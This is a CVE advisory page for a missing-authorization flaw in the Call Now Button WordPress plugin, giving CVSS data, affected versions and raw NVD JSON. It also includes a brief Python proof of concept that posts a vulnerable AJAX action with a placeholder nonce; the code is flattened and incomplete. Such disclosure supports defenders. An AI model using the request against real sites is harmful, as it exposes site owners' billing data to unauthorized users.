Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11632 CVSS 4.3 MEDIUM

CVE-2025-11632

Published: 2025-10-29 13:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Call Now Button – The #1 Click to Call Button for WordPress plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple functions in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to generate links to billing portal, where they can view and modify billing information of the connected, account, generate chat session tokens, view domain status, etc. This vulnerability was partially fixed in version 1.5.4 and fully fixed in version 1.5.5

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Call Now Button WordPress Plugin < 1.5.4
Call Now Button WordPress Plugin 1.5.4 (partial fix)
Call Now Button WordPress Plugin >= 1.5.5 (fully fixed)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11632 PoC - WordPress Call Now Button Plugin Privilege Escalation # Authenticated low-privilege users can access admin functions target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Get valid nonce by first accessing admin page session = requests.Session() # Authenticated request examples for different vulnerable functions: # Example 1: Generate billing portal link data = { 'action': 'cnb_get_billing_link', # Vulnerable function '_wpnonce': 'attacker_known_nonce' # May need to obtain valid nonce } response = session.post(ajax_url, data=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Note: Requires authenticated session with Subscriber role or higher # The attacker needs a valid WordPress account (easily registrable)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11632", "sourceIdentifier": "[email protected]", "published": "2025-10-29T13:15:35.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Call Now Button – The #1 Click to Call Button for WordPress plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple functions in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to generate links to billing portal, where they can view and modify billing information of the connected, account, generate chat session tokens, view domain status, etc.\r\nThis vulnerability was partially fixed in version 1.5.4 and fully fixed in version 1.5.5"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/CnbAdminAjax.php#L147", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/CnbAdminAjax.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/CnbAdminAjax.php#L167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/CnbAdminAjax.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/CnbAdminAjax.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/call-now-button/tags/1.5.3/src/admin/chat/class-cnb-chat-controller.php#L52", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/379547a2-6b22-4ec9-8570-a043dda7ec09?source=cve", "source": "[email protected]"}]}}